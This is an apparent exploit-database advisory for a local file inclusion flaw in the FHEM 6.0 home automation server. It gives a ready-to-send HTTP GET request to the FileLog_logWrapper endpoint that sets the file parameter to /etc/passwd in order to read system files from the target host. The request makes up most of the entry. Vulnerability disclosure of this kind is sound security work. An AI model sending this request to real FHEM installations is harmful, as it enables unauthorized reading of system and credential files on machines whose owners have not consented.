FHEM 6.0 Local File Inclusion

2020.06.25
Credit: Emre ÖVÜNÇ
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-98

# Exploit Title: FHEM 6.0 - Local File Inclusion # Date: 2020-02-10 # Exploit Author: Emre ÖVÜNÇ # Vendor Homepage: https://fhem.de/ # Software Link: https://fhem.de/#Download # Version: v6.0 # Tested on: Windows # Link: https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability # PoC To exploit vulnerability, someone could use 'http:// [HOST]/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text' request to get some informations from the target by changing "file" parameter. GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1 Host: [TARGET] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1


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